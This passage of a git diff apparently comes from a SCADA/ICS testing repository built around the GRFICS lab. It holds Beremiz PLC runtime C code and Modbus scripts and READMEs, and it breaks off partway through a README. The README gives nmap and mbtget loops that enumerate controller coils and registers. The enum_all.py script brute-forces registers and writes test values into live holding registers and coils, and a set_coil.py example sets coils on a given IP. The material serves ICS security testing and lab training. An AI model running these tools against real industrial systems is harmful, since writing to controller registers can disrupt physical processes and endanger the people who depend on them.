UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its 